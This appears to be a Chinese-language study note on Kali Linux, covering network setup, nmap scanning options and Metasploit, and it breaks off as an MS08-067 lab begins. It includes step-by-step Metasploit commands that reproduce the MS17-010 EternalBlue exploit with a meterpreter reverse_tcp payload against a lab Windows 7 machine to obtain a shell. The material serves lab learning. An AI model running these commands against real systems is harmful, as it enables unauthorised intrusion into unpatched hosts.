kali的学习

网络配置

1.kali的网络设置

首先我们了解kali的网络设置

DHCP：动态主机配置协议 是一个局域网的协议 使用UDP 协议工作静态IP：用于大部分的中小型网络 通过网络管理员手动分配IP

原理进程

/etc  系统大部分服务启动过程都要访问该目录 我们直接去看看/ect/network/interfaces

这里就可以配置两个1.DHCP:auto eth0
iface eth0 inet dhcp //配置eth0使用DHCP协议2.静态ipauto eth0
iface eth0 inet static //配置eth0使用默认的静态地址
address 192.168.0.90 //设置eth0的IP地址，根据需求配置
gateway 192.168.0.1 //配置当前主机的默认网关，根据需求配置
netmask 255.255.255.0 //配置eth0的子网掩码，根据需求配置

然后就是设置 DNS

resolv.conf中 可以配置3 个 nameserver 一旦前面失效 就会尝试下一个

vi /etc/resolv.conf #进行DNS编辑nameserver 114.114.114.114 //国内移动、电信和联通通用的DNSnameserver 8.8.8.8 //是谷歌的IP地址nameserver 223.5.5.5 //是阿里云的IP地址nameserver 180.76.76.87 //是百度的IP地址保存，退出

然后进行重启网络设置

sudo service networking restart

2.kali的三种模式

NAT 网络地址转移模式Bridged 桥接模式 Host-Only 主机模式

NAT

NAT 就是虚拟系统会通过 宿主机 来访问外网相当于主机存在两个网卡一个是虚拟网卡 一个宿主机的网卡当虚拟网卡想要访问外网的时候 就必须通过宿主机的IP地址从外面看 就是宿主机的IP 是完全看不到虚拟环境的内部网络这个时候 虚拟机和宿主机和虚拟交换机形成一个网段宿主机和真实交换机形成一个网段

优点不需要自己手动分配ip只要宿主能访问即可

Bridged

桥接模式就是 虚拟网卡和物理网卡通过 VMnet0虚拟交换机进行桥接这个时候 VMnet0就相当于现实的交换机他可以访问这个网络内的所有主机但是需要手动设置 ip 子网掩码这个模式中 可以互相ping

Host-Only

在Host-Only模式下，虚拟网络是一个全封闭的网络，它唯一能够访问的就是主机。其实Host-Only网络和NAT网络很相似，不同的地方就是Host-Only网络没有NAT服务，所以虚拟网络不能连接到Internet。主机和虚拟机之间的通信是通过VMware Network Adepter VMnet1虚拟网卡来实现的。

kali的网络设置及三种网络模式_kali配置网络_木_木的博客-CSDN博客

NMAP

ctf工具Nmap使用教程图文教程（超详细）_ctf 端口扫描_程序员小麦的博客-CSDN博客

一.端口扫描

扫描主机开发的端口与服务(默认是1000个端口)

nmap [ip]

这里将我本机的端口扫描出来了并且显示了每个端口的服务是什么

1.指定端口

其中我们可以对主机进行指定端口扫描通过 -p指令

nmap 192.168.3.25 -p 80  单个nmap 192.168.3.25 -p 1-80   范围nmap 192.168.3.25 -p 80,3389,22,21  枚举nmap 192.168.3.25 -p 1-65535   范围nmap 192.168.3.25 -p-   相当于 1-65536

2.指定扫描方式

-sT 使用三次完整的握手来判断存活 否则失败

-sS  通过两次握手来 如果对方传回确认帧 那么就存活

二.主机存活

可以扫描哪里主机存活-sP 不扫描端口 只扫描主机其实实质上就是 ping 只要ping通 就说明存活

nmap 192.168.3.0/24 -sP

上面显示了 256个IP中存在3个活着的主机

三.服务扫描

在扫描端口的时候 会默认显示端口存在的服务如果要查看服务的具体版本 就可以使用 -sV

nmap 192.168.3.25 -p 80 -sV

发现是 apache 的服务器

四.系统识别

-O 可以识别端口的主机的系统nmap 192.168.3.25 -p 80 -O

发现这里就显示 run在 win10上

五.探测防火墙

我们可以通过 nmap 来探测防火墙的存在

nmap 192.168.3.25  -sF

组合命令

T4可以指定时序 0-5 级别越高 速度越快 越容易被防火墙bannmap -F -T4 -P0-F 100个端口  -P0 无ping扫描

nmap -sC -sV  -Pn  192.168.3.25-sC 通过 nmap 脚本探测-Pn 进制ping 后扫描 -sV  版本探测

nmap -A -v -T4 +IP

MSF

MATESPLOIT(MSF)是个免费开源的 攻击框架附带了很多已知 知名的漏洞 在刚刚MSF出现的时候 只要会使用 MSF 就可以对未打补丁或刚刚打补丁的进行攻击

在kali中自带了 MSF

所以我们只需要启动即可

msfconsole

这里对MSF的几个模块进行解释

1、Auxiliary（辅助模块）收集信息 提供大量辅助的一个模块2、Exploits（攻击模块）通过调动漏洞 进行攻击3、Payload（攻击载荷模块）攻击成功后促使靶机运行的一段植入代码4、Post （后渗透攻击模块）收集更多信息或进一步访问被利用的目标系统5、Encoders（编码模块）就是通过 编码绕过

首先来了解一下基础的用法

【工具使用】——Metasploit(MSF)使用详解(超详细)_剑客 getshell的博客-CSDN博客

msfconsole进入 msf框架search  ms17_010通过 search 命令查找漏洞use exploit/windows/smb/ms17_010_eternalblue通过 use 进入模块info 查看设置set payload windows/x64/meterpreter/reverse_tcp  设置 攻击模块为 这个漏洞options查看参数set  RHOST  192.168.100.158   设置攻击对象run进行攻击

大致就差不多是这样

我们复现一下永恒之蓝 ms17-010

首先准备win7 的 IP 地址我这里是 192.168.222.133

我们先通过 nmap 查看一个网段存活的主机

nmap -sS 192.168.222.0/24

发现存在 5 个其中能发现我们要攻击的主机ip

133

那么我们就看看他是什么系统的

nmap -O 192.168.222.133

然后使用 nmap的脚本查看存在什么漏洞

nmap --script=vuln 192.168.222.133

发现主角了 ms17-010 那么我们就请出MSF

msfconsole
search ms17-010

这里exp的都是漏洞利用模块的 auxiliary是辅助探测模块所以我们先通过辅助探测看看存不存在漏洞

这里直接 use 3

然后看看info

发现了这里rhosts没有设置而且是必须设置的选项

那我们就设置为攻击目标的ip范围

注：RHOSTS 参数是要探测主机的ip或ip范围，我们探测一个ip范围内的主机是否存在漏洞

set rhosts 192.168.222.100-192.168.222.190

exploit

扫到了

那我们直接通过

Exploit漏洞利用模块 对目标进行攻击

set rhosts 192.168.222.133

然后run 即可

这样就成功拿到shell了

接下来复现另一个漏洞

MS08-067

ms08-067漏洞复现_ms08-067复现_老司机开代码的博客-CSDN博客

MicrosoftWindows是美国微软（Microsoft）公司发布的一系列操作系统。Windows的Server服务在处理特制RPC请求时存在缓冲区溢出漏洞。远程攻击者可以通过发送恶意的RPC请求触发这个溢出，导致完全入侵用户系统，以SYSTEM权限执行任意指令。对于Windows2000、XP和Server2003，无需认证便可以利用这个漏洞；对于WindowsVista和Server2008，可能需要进行认证。

首先需要一个 xp的系统一样这里的ip为137

那我们直接开始